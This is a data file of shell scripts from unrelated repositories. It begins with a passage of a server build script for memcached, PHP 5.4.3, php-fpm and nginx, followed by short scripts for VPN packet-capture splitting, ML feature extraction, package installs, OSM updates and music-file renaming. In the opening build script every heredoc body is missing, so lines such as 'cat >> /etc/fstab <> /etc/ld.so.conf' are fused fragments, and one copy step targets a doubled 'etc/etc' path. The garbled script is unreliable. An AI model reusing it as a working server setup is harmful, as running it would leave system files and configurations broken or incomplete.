python-sphinx python-greenlet\n\nyum install -y gcc cpp gcc-c++ glibc autoconf automake make \\\npcre pcre-devel openssl openssl-devel curl curl-devel libxml2-devel zlib-devel bison bison-devel expat-devel bzip2-devel \\\nperl perl-devel perl-Test-Base \\\nsubversion \\\nfile lsof screen tree nc sudo\n\n# some directorys related to build packages\numount /dev/vdb\nmkdir -p /data0\nmount /dev/vdb /data0\nmkdir -p /data0/{building,software,app/{services,log},tmp}\ncat >> /etc/fstab <> /etc/ld.so.conf\n# vim /etc/ld.so.conf # 注释掉默认的libevent\nldconfig\n\n# memcached\ncd $building_path\n$extra_tool xvf $software_path/memcached-1.4.13.tar.gz\ncd memcached-1.4.13\n./configure --prefix=$app_path/memcached-1.4.13 \\\n--disable-sasl \\\n--disable-sasl-pwdb \\\n--disable-dtrace \\\n--disable-coverage \\\n--disable-docs \\\n--enable-64bit \\\n--with-libevent=$app_path/libevent/ \\\n&& make -j3 \\\n&& make install\n$ln_tool -svf $app_path/memcached{-1.4.13,}\n\n# libmemcached\n# 1.0.8 version compile failed(make test failed)\ncd $building_path\n$extra_tool xvf $software_path/libmemcached-1.0.4.tar.gz\ncd libmemcached-1.0.4\n./configure --prefix=$app_path/libmemcached-1.0.4 \\\n--enable-64bit \\\n--disable-profiling \\\n--disable-coverage \\\n--disable-dtrace \\\n--disable-assert \\\n--with-memcached=$app_path/memcached/bin/memcached \\\n&& make -j3 \\\n&& make install\n$ln_tool -svf $app_path/libmemcached{-1.0.4,}\necho $app_path/libmemcached/lib >> /etc/ld.so.conf\nldconfig\n\n# php\ncd $building_path\n$extra_tool xvf $software_path/php-5.4.3.tar.gz\ncd php-5.4.3\n./configure --prefix=$app_path/php-5.4.3 \\\n--with-config-file-path=$app_path/php-5.4.3/etc \\\n--with-config-file-scan-dir=$app_path/php-5.4.3/etc/conf.d \\\n--disable-ipv6 \\\n--disable-debug \\\n--disable-all \\\n--with-mysql=shared,mysqlnd \\\n--with-mysqli=shared,mysqlnd \\\n--with-pdo-mysql=shared,mysqlnd \\\n--with-iconv=shared \\\n--with-openssl=shared \\\n--with-curl=shared \\\n--with-pear \\\n--with-zend-vm=GOTO \\\n--enable-sockets \\\n--enable-pdo \\\n--enable-json \\\n--enable-xml \\\n--enable-libxml \\\n--enable-session \\\n--enable-mbstring \\\n--enable-fpm \\\n&& make -j3 \\\n&& make install\n$ln_tool -svf $app_path/php{-5.4.3,}\nmkdir -p $app_path/php/etc/conf.d\ncp php.ini-development php.ini-production $app_path/php/etc/etc/\n\n# php-igbinary\n#$app_path/php/bin/pecl install igbinary\ncd $building_path\nrm -rvf igbinary-1.1.1/\n$extra_tool xvf $software_path/igbinary-1.1.1.tgz\ncd igbinary-1.1.1\n$app_path/php/bin/phpize\n./configure --with-php-config=$app_path/php/bin/php-config \\\n--enable-igbinary \\\n&& make -j3 \\\n&& make install\n\n# php-memcache\n#$app_path/php/bin/pecl install memcache\ncd $building_path\nrm -rvf memcache-2.2.6\n$extra_tool xvf $software_path/memcache-2.2.6.tgz\ncd memcache-2.2.6\n$app_path/php/bin/phpize\n./configure --with-php-config=$app_path/php/bin/php-config \\\n--enable-memcache \\\n--disable-debug \\\n&& make -j3 \\\n&& make install\n\n# php-memcached\n#$app_path/php/bin/pecl install memcached\ncd $building_path\nrm -rvf memcached-2.0.1\n$extra_tool xvf $software_path/memcached-2.0.1.tgz\ncd memcached-2.0.1\n$app_path/php/bin/phpize\n./configure --with-php-config=$app_path/php/bin/php-config \\\n--disable-memcached-sasl \\\n--disable-debug \\\n--enable-memcached \\\n--enable-memcached-igbinary \\\n--enable-memcached-json \\\n--with-libmemcached-dir=$app_path/libmemcached/ \\\n&& make -j3 \\\n&& make install\n\n# php-mbstring\ncd $building_path/php-5.4.3/ext/mbstring\n$app_path/php/bin/phpize\n./configure --with-php-config=$app_path/php/bin/php-config \\\n--enable-mbstring \\\n&& make -j3 \\\n&& make install\n\n# libmcrypt\ncd $building_path\nrm -rvf libmcrypt-2.5.8\n$extra_tool xvf $software_path/libmcrypt-2.5.8.tar.gz\ncd libmcrypt-2.5.8\n./configure --prefix=$app_path/libmcrypt-2.5.8 \\\n&& make -j3 \\\n&& make install\n$ln_tool -svf $app_path/libmcrypt{-2.5.8,}\necho $app_path/libmcrypt/lib >> /etc/ld.so.conf\nldconfig\n\n# php-libmcrypt\ncd $building_path/php-5.4.3/ext/mcrypt\n$app_path/php/bin/phpize\n./configure --with-php-config=$app_path/php/bin/php-config \\\n--with-mcrypt=$app_path/libmcrypt/ \\\n&& make -j3 \\\n&& make install\n\n# building end\n\n#################################################\ncd\n# config begin\n# PATH setting\ncat >> ~/.bashrc <> $app_path/php/etc/php.ini <> $app_path/php/etc/conf.d/mail.ini <> $app_path/php/etc/conf.d/pdo.ini <> $app_path/php/etc/conf.d/pdo_mysql.ini <> $app_path/php/etc/conf.d/sql.ini <> $app_path/php/etc/conf.d/mysql.ini <> $app_path/php/etc/conf.d/mysqli.ini <> $app_path/php/etc/conf.d/mysqlnd.ini <> $app_path/php/etc/conf.d/session.ini <> $app_path/php/etc/php-fpm.conf <> /etc/init.d/phpfpm <\n# date 2012-03-02\n\napp_path=/data0/app/services\nexec_file=\\$app_path/php/sbin/php-fpm\nini_file=\\$app_path/php/etc/php.ini\nfpm_conf_file=\\$app_path/php/etc/php-fpm.conf\npid_file=\\$app_path/php/var/run/php-fpm.pid\n\nmode=\\$1\ncase \"\\$mode\" in\n 'start')\n if test -f \\$pid_file; then\n echo -e 'phpfpm had been start OR stop error!\\n'\n echo -e 'TRY TO CHECK AND REMOVE THE FILE: ' \\$pid_file '\\n'\n else\n \\$exec_file -c \\$ini_file -y \\$fpm_conf_file -g \\$pid_file\n echo -e 'phpfpm start successful!\\n'\n fi\n ;;\n\n 'stop')\n if test -f \\$pid_file; then\n kill -INT \\$(cat \\$pid_file)\n echo -e 'phpfpm stop successful!\\n'\n else\n echo -e 'phpfpm not started OR stop error!\\n'\n echo -e 'TRY TO CHECK AND REMOVE THE FILE: ' $pid_file '\\n'\n fi\n ;;\n\n 'restart')\n if test -f \\$pid_file; then\n kill -USR2 \\$(cat \\$pid_file)\n echo -e 'phpfpm restart successful!\\n'\n else\n echo -e 'phpfpm not started OR phpfpm stop error!\\n'\n echo -e 'TRY TO CHECK AND REMOVE THE FILE: ' \\$pid_file '\\n'\n echo -e 'OR JUST CONFIG MANUAL!'\n fi\n ;;\n\n # @todo 重写为函数\n 'forcerestart')\n # stop\n if test -f \\$pid_file; then\n kill -INT \\$(cat \\$pid_file)\n echo -e 'phpfpm stop successful!\\n'\n else\n echo -e 'phpfpm not started OR stop error!\\n'\n echo -e 'TRY TO CHECK AND REMOVE THE FILE: ' $pid_file '\\n'\n fi\n\n /bin/sleep 1\n\n # start\n if test -f \\$pid_file; then\n echo -e 'phpfpm had been start OR stop error!\\n'\n echo -e 'TRY TO CHECK AND REMOVE THE FILE: ' \\$pid_file '\\n'\n else\n \\$exec_file -c \\$ini_file -y \\$fpm_conf_file -g \\$pid_file\n echo -e 'phpfpm start successful!\\n'\n fi\n ;;\n\n *)\n echo -e \"usage: \\$0 start|stop|restart|forcerestart\\n\"\n exit 1\n ;;\n\nesac\n\nexit 0\nEOF\n\n# nginx config\nmkdir -p $app_path/nginx/conf/conf.d\nmkdir -p $log_path/nginx\nchmod o+wx $log_path/nginx\nrm -rvf $app_path/nginx/conf/nginx.conf\ntouch $app_path/nginx/conf/nginx.conf\ncat >> $app_path/nginx/conf/nginx.conf <> $app_path/nginx/conf/conf.d/statServer.conf <;\n fastcgi_index index.php;\n fastcgi_param SCRIPT_FILENAME \\$document_root\\$fastcgi_script_name;\n include fastcgi_params;\n }\n\n rewrite \"^/media\\/(.*)\\$\" /media/\\$1 last;\n rewrite \"^/static\\/(.*)\\$\" /static/\\$1 last;\n rewrite \"^/stat\\/{0,1}([\\w]*)\\/{0,1}([\\w]*)$\" /index.php?wyxrewrite_c=\\$1&wyxrewrite_m=\\$2 last;\n}\nEOF\n\n# config end\n\n# performance begin\n# file description tunning\ncat >> /etc/rc.local <> /etc/profile <> /etc/security/limits.conf <> /etc/sysctl.conf <launch.sh\n#!/bin/bash\nif [ -z \"$(which java)\" ]\nthen\n\techo \"Java n'a pas ete trouve dans PATH\"\n\texit\nfi\njava -cp bin/. Aco\njava -cp bin/. SearchTabu"} {"text": "tspannhw/rpi-rainbowhat1-10\npython /opt/demo/minifi.py"} {"text": "c3d_feat_extract/c3d_feat_extract.sh\n#!/bin/bash\npython main.py \\\n--n_classes 20 \\\n--gpu 1 \\\n--input input \\\n--model_name resnext \\\n--model_depth 101 \\\n--resnext_cardinality 32 \\\n--resnet_shortcut B \\\n--feat_dir /home/rgh/Matches/video-caption.pytorch/data/feats/c3d_kinectics_msrvtt \\\n--video_root /home/rgh/Matches/video-caption.pytorch/data/videos \\\n--output output.json \\\n--model pretrained_models/resnext-101-MSR-VTT-finetuned-25-epochs.pth \\\n--mode feature\n\n\n# python main.py \\\n# --n_classes 101 \\\n# --gpu 1 \\\n# --input input \\\n# --model_name resnext \\\n# --model_depth 101 \\\n# --resnext_cardinality 32 \\\n# --resnet_shortcut B \\\n# --feat_dir /home/rgh/Matches/video-caption.pytorch/data/feats/c3d_kinectics_hmdb \\\n# --video_root /home/rgh/Matches/video-caption.pytorch/data/videos \\\n# --output output.json \\\n# --model pretrained_models/resnext-101-kinetics-hmdb51_split1.pth \\\n# --mode feature\n\n# python main.py \\\n# --n_classes 51 \\\n# --gpu 1 \\\n# --input input \\\n# --model_name resnext \\\n# --model_depth 101 \\\n# --resnext_cardinality 32 \\\n# --resnet_shortcut B \\\n# --feat_dir /home/rgh/Matches/video-caption.pytorch/data/feats/c3d_kinectics_ucf \\\n# --video_root /home/rgh/Matches/video-caption.pytorch/data/videos \\\n# --output output.json \\\n# --model pretrained_models/resnext-101-kinetics-ucf101_split1.pth \\\n# --mode feature\n\n# python main.py \\\n# --n_classes 400 \\\n# --gpu 0 \\\n# --input input \\\n# --model_name resnext \\\n# --model_depth 101 \\\n# --resnext_cardinality 32 \\\n# --resnet_shortcut B \\\n# --feat_dir /home/rgh/Matches/video-caption.pytorch/data/feats/c3d_kinectics \\\n# --video_root /home/rgh/Matches/video-caption.pytorch/data/videos \\\n# --output output.json \\\n# --model pretrained_models/resnext-101-kinetics.pth \\\n# --mode feature\n\n# python main.py \\\n# --n_classes 400 \\\n# --sample_duration 64 \\\n# --gpu 0 \\\n# --input input \\\n# --model_name resnext \\\n# --model_depth 101 \\\n# --resnext_cardinality 32 \\\n# --resnet_shortcut B \\\n# --feat_dir /home/rgh/Matches/video-caption.pytorch/data/feats/c3d_kinectics_64f \\\n# --video_root /home/rgh/Matches/video-caption.pytorch/data/videos \\\n# --output output.json \\\n# --model pretrained_models/resnext-101-64f-kinetics.pth \\\n# --mode feature"} {"text": "MobileGT/mobilegt_vpn\n#!/bin/bash\n\nTUNIP_ASSIGN_FILE=/home/rywang/vpnserver/proc/tunip.assign\nPCAPFILE_ROOT=/home/rywang/vpnserver/pcap_data\nCMD_TSHARK=/usr/bin/tshark\nCMD_CAPINFOS=/usr/bin/capinfos\nCMD_MKDIR=/bin/mkdir\nCMD_LS=/bin/ls\nCMD_AWK=/usr/bin/awk\nCMD_RM=/bin/rm\nCMD_MV=/bin/mv\n\necho \"====================================\"\necho \"Begin separatePcapFile `date`\"\ncd $PCAPFILE_ROOT\n#delete tiny file and create time 30 min ago\n#if the size of the pcap file is 24,then the file is empty.\n#find . -size -25c -a -name '*.pcap' -a -cmin +30 \nfind . -size -25c -a -name '*.pcap' -a -cmin +30 -print0 | xargs -0 /bin/rm 2>>/dev/null\n\nPCAPFILE_LIST=`$CMD_LS -t *.pcap 2>>/dev/null`\n#read tunip.assign file then create deviceid directory\n\ndeclare -a tunip_array\ndeclare -a deviceid_array\ncount=1\nfor line_tunip in `cat $TUNIP_ASSIGN_FILE`\ndo\n\t#echo $line_tunip\n\tfind_numberSign=`echo $line_tunip | grep '#'`\n\tif [ \"$find_numberSign\" == \"\" ];then\n\t\tfind_equalsSign=`echo $line_tunip | grep '='`\n\t\tdeviceid=''\n\t\tif [ \"$find_equalsSign\" = \"\" ];then\n\t\t\t//not contains =,skip\n\t\t\tcontinue\n\t\telse\n\t\t\tOLD_IFS=\"$IFS\"\n\t\t\tIFS=\"=\"\n\t\t\tfield=($line_tunip)\t\n\t\t\ttunip=${field[0]}\n\t\t\ttunip_array[$count]=$tunip\n\t\t\tdeviceid=${field[1]}\n\t\t\tdeviceid_array[$count]=$deviceid\n\t\t\tIFS=\"$OLD_IFS\"\n\t\t\tcount=$((count+1))\n\t\tfi\n\telse\n\t\t#contain #,skip\n\t\t#echo \"skip comment line:$line_tunip\"\n\t\tcontinue\n\tfi\n\n\tif [ ! -d $deviceid ]; then\n\t\t#echo $CMD_MKDIR $deviceid\n\t\t$CMD_MKDIR $deviceid\n\tfi\ndone\n\n#echo ${tunip_array[*]}\n#echo count:$count\nindex=0\n#delPcap=\"True\"\ndelPcap=\"False\"\nfor ORIG_FILE in $PCAPFILE_LIST\ndo\n\tsleep 1\n\tdataresult=\"\"\n\torig_file_size=`$CMD_LS -l $ORIG_FILE | $CMD_AWK '{ print $5}'`\n\tif [ $index -eq 0 ]; then\n\t\t#skip the first file(the newest file)\n\t\techo \"skip $ORIG_FILE\"\n\t\tindex=1\n\t\tcontinue\n\tfi\n\techo \"process $ORIG_FILE start. `date`\"\n\t$CMD_CAPINFOS -sc $ORIG_FILE\n\tcc=1\n\tipFilter=\"\"\n\tupdateNum=0\n\twhile [ $cc -lt $count ]\n\tdo\n\t\ttunip=${tunip_array[$cc]}\n\t\tdeviceid=${deviceid_array[$cc]}\n\t\t#tshark -r 1_00001_20171012232310.pcap -Y 'ip.addr==10.77.0.3' -w tt2.pcap -F pcap\n\t\t#echo $CMD_TSHARK -r $ORIG_FILE -Y ip.addr==$tunip -w $deviceid/$ORIG_FILE -F pcap 2>>/dev/null\n\t\t$CMD_TSHARK -r $ORIG_FILE -Y \"ip.addr==$tunip\" -w $deviceid/$ORIG_FILE -F pcap 2>>/dev/null\n\t\tif [ -z \"$ipFilter\" ]; then\n\t\t\tipFilter=\"ip.dst!=$tunip && ip.src!=$tunip\"\n\t\telse\n\t\t\tipFilter=\"$ipFilter && ip.dst!=$tunip && ip.src!=$tunip\"\n\t\tfi\n\t\t#echo \"$ipFilter && ip.addr==$tunip/16\"\n\t\tfilesize=`$CMD_LS -l $deviceid/$ORIG_FILE 2>>/dev/null | $CMD_AWK '{ print $5}' 2>>/dev/null`\n\t\t#echo \"orig_file_size:$orig_file_size----->filesize:$filesize\"\n\t\tif [ -z \"$filesize\" ]; then\n\t\t\techo \"filesize is null\"\n\t\telif [ $filesize -le 24 ]; then\n\t\t\t$CMD_RM $deviceid/$ORIG_FILE\n\t\t\techo -n .\n\t\telif [ $filesize -ge $((orig_file_size/10)) ]; then\n\t\t\techo \"need update file.orig_file_size:$orig_file_size--->finshedFilesize[$((++updateNum))]:$filesize\"\n\t\t\t#echo \"$CMD_TSHARK -r $ORIG_FILE -Y \\\"ip.dst!=$tunip && ip.src!=$tunip && ip.addr==$tunip/16\\\" -w ${ORIG_FILE}_new -F pcap 2>>/dev/null\"\n\t\t\techo \"$CMD_TSHARK -r $ORIG_FILE -Y \\\"$ipFilter && ip.addr==$tunip/16\\\" -w ${ORIG_FILE}_new -F pcap 2>>/dev/null\"\n\t\t\t$CMD_TSHARK -r $ORIG_FILE -Y \"$ipFilter && ip.addr==$tunip/16\" -w ${ORIG_FILE}_new -F pcap 2>>/dev/null\n\t\t\tif [ ! -f ${ORIG_FILE}_bak ]; then\n\t\t\t\techo $CMD_MV $ORIG_FILE ${ORIG_FILE}_bak\n\t\t\t\t$CMD_MV $ORIG_FILE ${ORIG_FILE}_bak\n\t\t\tfi\n\t\t\t$CMD_CAPINFOS -sc ${ORIG_FILE}_new\n\t\t\t#echo $CMD_MV ${ORIG_FILE}_new $ORIG_FILE\n\t\t\t$CMD_MV ${ORIG_FILE}_new $ORIG_FILE\n\t\t\tdataresult=${dataresult}\"|${deviceid}-${tunip}\"\n\t\telse\n\t\t\techo \"don't need update file.orig_file_size:$orig_file_size--->finshedFilesize:$filesize\"\n\t\t\tdataresult=${dataresult}\"|${deviceid}-${tunip}\"\n\t\tfi\n\t\tcc=$((cc+1))\n\tdone\n\techo \"data in:${dataresult}\"\n\tif [ \"$delPcap\" == \"True\" ]; then\n\t\techo $CMD_RM $ORIG_FILE ${ORIG_FILE}_bak\n\t\t$CMD_RM ${ORIG_FILE} ${ORIG_FILE}_bak\n\telif [ -f ${ORIG_FILE}_bak ]; then\n\t\techo \"restore pcap file\"\n\t\t$CMD_MV ${ORIG_FILE}_bak ${ORIG_FILE}\n\tfi\n\techo \"process $ORIG_FILE completed! `date`\"\ndone\n\necho \"End separatePcapFile. `date`\"\necho \"====================================\"\n#if false;then\n#\tblock comment\n#fi\n#ls -alrt *.pcap"} {"text": "#!/bin/sh -e\n. /builds/common.sh\n\nbuild_setup\n\nif [ ! -d /workspaces/tcllib ]; then\n\tcd /workspaces && sh /builds/download-tcllib.sh\nfi\n\necho \"Running the autoconf configure in /workspaces/tcllib\"\ncd /workspaces/tcllib\nautoreconf -vi\n./configure --prefix=/usr --exec-prefix=/usr\n\ncd /workspaces/tcllib\necho \"Building Tcllib\"\n# patch out -- in proc arguments for named parameters\ncat modules/mime/mime.tcl | sed 's,what --,what ignore,' | sed 's,-- string,ignore string,' >mime.tcl\ndiff modules/mime/mime.tcl mime.tcl\nmv mime.tcl modules/mime/mime.tcl\nmake\nmake install\n\nbuild_cleanup"} {"text": "install/caddy.sh\ndnf install 'dnf-command(copr)'\ndnf copr enable @caddy/caddy\ndnf install caddy"} {"text": "#!/bin/bash\n\n# Copyright 2020 Xilinx Inc.\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Author: , Xilinx Inc\n\nconda activate vitis-ai-pytorch\n\n# folders\nexport BUILD=./build\nexport LOG=${BUILD}/logs\nmkdir -p ${LOG}\n\n# run training\npython -u train.py -d ${BUILD} 2>&1 | tee ${LOG}/train.log\n\n\n# quantize & export quantized model\npython -u quantize.py -d ${BUILD} --quant_mode calib 2>&1 | tee ${LOG}/quant_calib.log\npython -u quantize.py -d ${BUILD} --quant_mode test 2>&1 | tee ${LOG}/quant_test.log\n\n\n# compile for target boards\nsource compile.sh zcu102 ${BUILD} ${LOG}\nsource compile.sh zcu104 ${BUILD} ${LOG}\nsource compile.sh u50 ${BUILD} ${LOG}\nsource compile.sh vck190 ${BUILD} ${LOG}\n\n# make target folders\npython -u target.py --target zcu102 -d ${BUILD} 2>&1 | tee ${LOG}/target_zcu102.log\npython -u target.py --target zcu104 -d ${BUILD} 2>&1 | tee ${LOG}/target_zcu104.log\npython -u target.py --target vck190 -d ${BUILD} 2>&1 | tee ${LOG}/target_vck190.log\npython -u target.py --target u50 -d ${BUILD} 2>&1 | tee ${LOG}/target_u50.log"} {"text": "#!/usr/bin/env bash\n#\n# Wrapper for soil/web.py.\n#\n# Usage:\n# soil/web.sh \n\nset -o nounset\nset -o pipefail\nset -o errexit\n\nREPO_ROOT=$(cd $(dirname $0)/.. && pwd)\nreadonly REPO_ROOT\n\nsource $REPO_ROOT/soil/common.sh\n\nsoil-web() {\n PYTHONPATH=$REPO_ROOT $REPO_ROOT/soil/web.py \"$@\"\n}\n\nrewrite-jobs-index() {\n ### Atomic update of travis-ci.oilshell.org/jobs/\n local prefix=$1\n\n local dir=~/travis-ci.oilshell.org/${prefix}jobs\n\n log \"soil-web: Rewriting ${prefix}jobs/index.html\"\n\n local tmp=/tmp/$$.index.html\n\n # Limit to last 100 jobs. Glob is in alphabetical order and jobs look like\n # 2020-03-20__...\n\n # suppress SIGPIPE failure\n { ls $dir/*.json || true; } | tail -n -100 | soil-web ${prefix}index > $tmp\n echo status=${PIPESTATUS[@]}\n\n mv -v $tmp $dir/index.html\n}\n\ncleanup-jobs-index() {\n local prefix=$1\n local dry_run=${2:-true}\n\n local dir=~/travis-ci.oilshell.org/${prefix}jobs\n\n # Pass it all JSON, and then it figures out what files to delete (TSV, etc.)\n case $dry_run in\n false)\n ls $dir/*.json | soil-web cleanup | xargs --no-run-if-empty -- rm -v \n ;;\n true)\n ls $dir/*.json | soil-web cleanup\n ;;\n *)\n log 'Expected true or false for dry_run'\n esac\n}\n\n\n#\n# Dev Tools\n#\n\nsync-testdata() {\n rsync --archive --verbose \\\n $USER@$HOST:$HOST/jobs/ _tmp/jobs/\n}\n\nlocal-test() {\n ### Used the sync'd testdata\n local dir=${1:-_tmp/jobs}\n local out='_tmp/jobs.html'\n\n ls $dir/*.json | index > $out\n echo \"Wrote $out\"\n}\n\nsmoke-test() {\n ### Run on remote machine\n local dir=${1:-_tmp/jobs}\n ls $dir/*.json | soil-web srht-index \n}\n\n\"$@\""} {"text": "examples/setup_sample.sh\n#!/bin/bash\nos=$(/bin/uname)\nif [[ ${os} != 'OS/390' ]]; then\n echo this addon is for zos only.\n exit 1\nfi\nid=$(/bin/id -nu)\ndsn=\"${id}.REXX.TESTPDS\"\nalloc_cmd=\"alloc da('${dsn}') dsorg(po) block(100) space(2,2) lrecl(80) blksize(800) dir(1) recfm(f,b) new\"\n/bin/tso \"${alloc_cmd}\"\nif [[ $? -ne 0 ]]; then\n echo \"Failed to allocate $dsn\"\n echo \n echo \"consider manually deleting it by\"\n echo \n echo \" /bin/tso \\\"delete '${dsn}'\\\" \"\n echo \n exit 1\nfi\n/bin/cat > $$.tmp << \"END\"\n/*rexx*/\nParse source src\nSay \"-----------------------------------------------\"\nsay \"Me:\" src\nparse arg n rest\n say \"Arguments received:\" n rest\nIf datatype(n,'W') <> 1 then n = 1\nDo i=1 TO n\n Say 'Hello World the' i'. time ...'\nEnd\nreturn n*10;\nEND\n/bin/cp -O u $$.tmp \"//'${dsn}(HELLO)'\"\nunlink $$.tmp"} {"text": "#!/bin/bash\nset -o errexit\nset -o pipefail\nset -o nounset\n\nreadonly IMPORT_DATA_DIR=${IMPORT_DATA_DIR:-/data/import}\nreadonly DIFFS_FILE=\"$IMPORT_DATA_DIR/latest.osc.gz\"\n\nfunction merge_latest_diffs() {\n local pbf_file=\"$1\"\n local latest_diffs_file=\"$2\"\n local latest_pbf_file=\"$IMPORT_DATA_DIR/${pbf_file##*/}.latest.pbf\"\n\n echo \"Updating $pbf_file with changes $latest_diffs_file\"\n osmconvert -v \"$pbf_file\" \"$latest_diffs_file\" -o=\"$latest_pbf_file\"\n rm \"$pbf_file\"\n mv \"$latest_pbf_file\" \"$pbf_file\"\n}\n\nfunction main() {\n if [ \"$(ls -A $IMPORT_DATA_DIR/*.pbf 2> /dev/null)\" ]; then\n local pbf_file\n for pbf_file in \"$IMPORT_DATA_DIR\"/*.pbf; do\n merge_latest_diffs \"$pbf_file\" \"$DIFFS_FILE\"\n done\n else\n echo \"No PBF files for downloading changes.\"\n echo \"Please mount the $IMPORT_DATA_DIR volume to a folder containing the latest imported OSM PBF file.\"\n exit 404\n fi\n}\n\nmain"} {"text": "docker run -d \\\n\t--name redis \\\n\t--network=explorer \\\n\tredis"} {"text": "10-100\n#!/bin/bash\n\nfor split in train dev test; do\n FILE=./english.${split}.conll\n PENNFILE=${FILE}.penn\n DEPFILE=${FILE}.dep\n\n CORENLP=\"./stanford-corenlp-full-2018-10-05/*\"\n\n java -mx8g -cp \"${CORENLP}\" edu.stanford.nlp.trees.EnglishGrammaticalStructure \\\n -treeFile $PENNFILE \\\n -basic -conllx -keepPunct -makeCopulaHead \\\n > $DEPFILE\ndone"} {"text": "abdelkaderamar/dotfiles\n#! /bin/bash -u\n\nsource $HOME/.bash_logging\nsource $HOME/.zik_functions\n\nquiet=false\n\n## Usage\nusage() {\n # TODO add -q option\n e_header \"Usage $(basename $0) ....\"\n echo\n e_arrow \" replace special charcter – -\"\n e_arrow \" rename '01 filename' ➜ '01 - filename\"\n e_arrow \" rename '01. filename' ➜ '01 - filename\"\n}\n\nrename_file() {\n filename=\"$1\"\n newfilename=\"$2\"\n file_path=\"$3\"\n tag=\"$4\"\n file_dir=$(dirname \"$file_path\")\n newfile_path=\"$file_dir\"/\"$newfilename\"\n if [ \"$quiet\" != true ]\n then\n\te_arrow Renaming [$tag] from \"$file_path\" to \"$newfile_path\"\n fi\n mv -i \"$file_path\" \"$newfile_path\"\n}\n\n\nprocess_file() {\n if [ \"$quiet\" != true ]\n then\n\techo \"# FILE [$1]\"\n fi\n# return 0\n \n fullfilename=\"$1\"\n filename=$(basename -- \"$fullfilename\")\n extension=\"${filename##*.}\"\n name=\"${filename%.*}\"\n\n filename_regex=\"^[0-9]{2} - (.*)$\"\n newfilename=\"\"\n if ( is_music_file $extension )\n then\n\tif [[ \"$filename\" =~ $filename_regex ]]\n\tthen\n\t if [ \"$quiet\" != true ]\n\t then\n\t\te_arrow \"$filename wellformed\"\n\t fi\n\telif [[ \"$filename\" =~ (^([0-9]{2}) ([a-Z].*)$) ]]\n\tthen\n\t newfilename=\"${BASH_REMATCH[2]} - ${BASH_REMATCH[3]}\"\n\t rename_file \"$filename\" \"$newfilename\" \"$fullfilename\" 01\n\telif [[ \"$filename\" =~ (^([0-9])[ ]+([a-Z].*)$) ]]\n\tthen\n\t newfilename=\"0${BASH_REMATCH[2]} - ${BASH_REMATCH[3]}\"\n\t rename_file \"$filename\" \"$newfilename\" \"$fullfilename\" 02\n\telif [[ \"$filename\" =~ (^([0-9])\\.[ ]+([a-Z].*)$) ]]\n\tthen\n\t newfilename=\"0${BASH_REMATCH[2]} - ${BASH_REMATCH[3]}\"\n\t rename_file \"$filename\" \"$newfilename\" \"$fullfilename\" 03\n\telif [[ \"$filename\" =~ (^([0-9])-[ ]+([a-Z].*)$) ]]\n\tthen\n\t newfilename=\"0${BASH_REMATCH[2]} - ${BASH_REMATCH[3]}\"\n\t rename_file \"$filename\" \"$newfilename\" \"$fullfilename\" 04\t \n\telif [[ \"$filename\" =~ (^([0-9]) - ([a-Z].*)$) ]]\n\tthen\n\t newfilename=\"0${BASH_REMATCH[2]} - ${BASH_REMATCH[3]}\"\n\t rename_file \"$filename\" \"$newfilename\" \"$fullfilename\" 05\n\telif [[ \"$filename\" =~ (^([0-9]{2})\\.[ ]+([a-Z].*)$) ]]\n\tthen\n\t newfilename=\"${BASH_REMATCH[2]} - ${BASH_REMATCH[3]}\"\n\t rename_file \"$filename\" \"$newfilename\" \"$fullfilename\" 06\t \n\telif [[ \"$filename\" =~ (^([0-9]{2})-([a-Z].*)$) ]]\n\tthen\n\t newfilename=\"${BASH_REMATCH[2]} - ${BASH_REMATCH[3]}\"\n\t rename_file \"$filename\" \"$newfilename\" \"$fullfilename\" 07\n\telif [[ \"$filename\" =~ (^([0-9]{2})\\.([a-Z].*)$) ]]\n\tthen\n\t newfilename=\"${BASH_REMATCH[2]} - ${BASH_REMATCH[3]}\"\n\t rename_file \"$filename\" \"$newfilename\" \"$fullfilename\" 08\n\telif [[ \"$filename\" =~ (^\\[([0-9]{2})\\][ ]+([a-Z].*)$) ]]\n\tthen\n\t newfilename=\"${BASH_REMATCH[2]} - ${BASH_REMATCH[3]}\"\n\t rename_file \"$filename\" \"$newfilename\" \"$fullfilename\" 09\n\telif [[ \"$filename\" =~ (^\\(([0-9]{2})\\)[ ]+([a-Z].*)$) ]]\n\tthen\n\t newfilename=\"${BASH_REMATCH[2]} - ${BASH_REMATCH[3]}\"\n\t rename_file \"$filename\" \"$newfilename\" \"$fullfilename\" 10\n\telif [[ \"$filename\" =~ (^([0-9]{2})[ ]+([a-Z].*)$) ]]\n\tthen\n\t newfilename=\"${BASH_REMATCH[2]} - ${BASH_REMATCH[3]}\"\n\t rename_file \"$filename\" \"$newfilename\" \"$fullfilename\" 11\n\telif [[ \"$filename\" =~ (^[1-9]-([0-9]{2})[ ]+([a-Z].*)$) ]]\n\tthen\n\t newfilename=\"${BASH_REMATCH[2]} - ${BASH_REMATCH[3]}\"\n\t rename_file \"$filename\" \"$newfilename\" \"$fullfilename\" 13\t \n\telif [[ \"$filename\" =~ (^([0-9]{2})\\._([a-Z].*)$) ]]\n\tthen\n\t newfilename=\"${BASH_REMATCH[2]} - ${BASH_REMATCH[3]}\"\n\t rename_file \"$filename\" \"$newfilename\" \"$fullfilename\" 14\n\telif [[ \"$filename\" =~ (^([0-9]{2})_([a-Z].*)$) ]]\n\tthen\n\t newfilename=\"${BASH_REMATCH[2]} - ${BASH_REMATCH[3]}\"\n\t rename_file \"$filename\" \"$newfilename\" \"$fullfilename\" 15\n\telif [[ \"$filename\" =~ (^([0-9]{2})-[ ]*([a-Z].*)$) ]]\n\tthen\n\t newfilename=\"${BASH_REMATCH[2]} - ${BASH_REMATCH[3]}\"\n\t rename_file \"$filename\" \"$newfilename\" \"$fullfilename\" 07\n\telse\n\t file_dir=$(dirname \"$fullfilename\")\n\t e_warn \"Unknown format $filename dir=[$file_dir]\"\n\tfi\n fi # end if ( is_music_file\n}\n\n\nreplace_special_character() {\n char=\"$1\"\n new_char=\"$2\"\n dir=\"$3\"\n\n temp_file=$(mktemp)\n find \"$dir\" -name \"*${char}*\" > \"$temp_file\"\n\n while read f\n do\n\tnew_filename=$(echo \"$f\" | sed \"s/${char}/${new_char}/g\")\n mv -vi \"$f\" \"$new_filename\"\n done < \"$temp_file\"\n 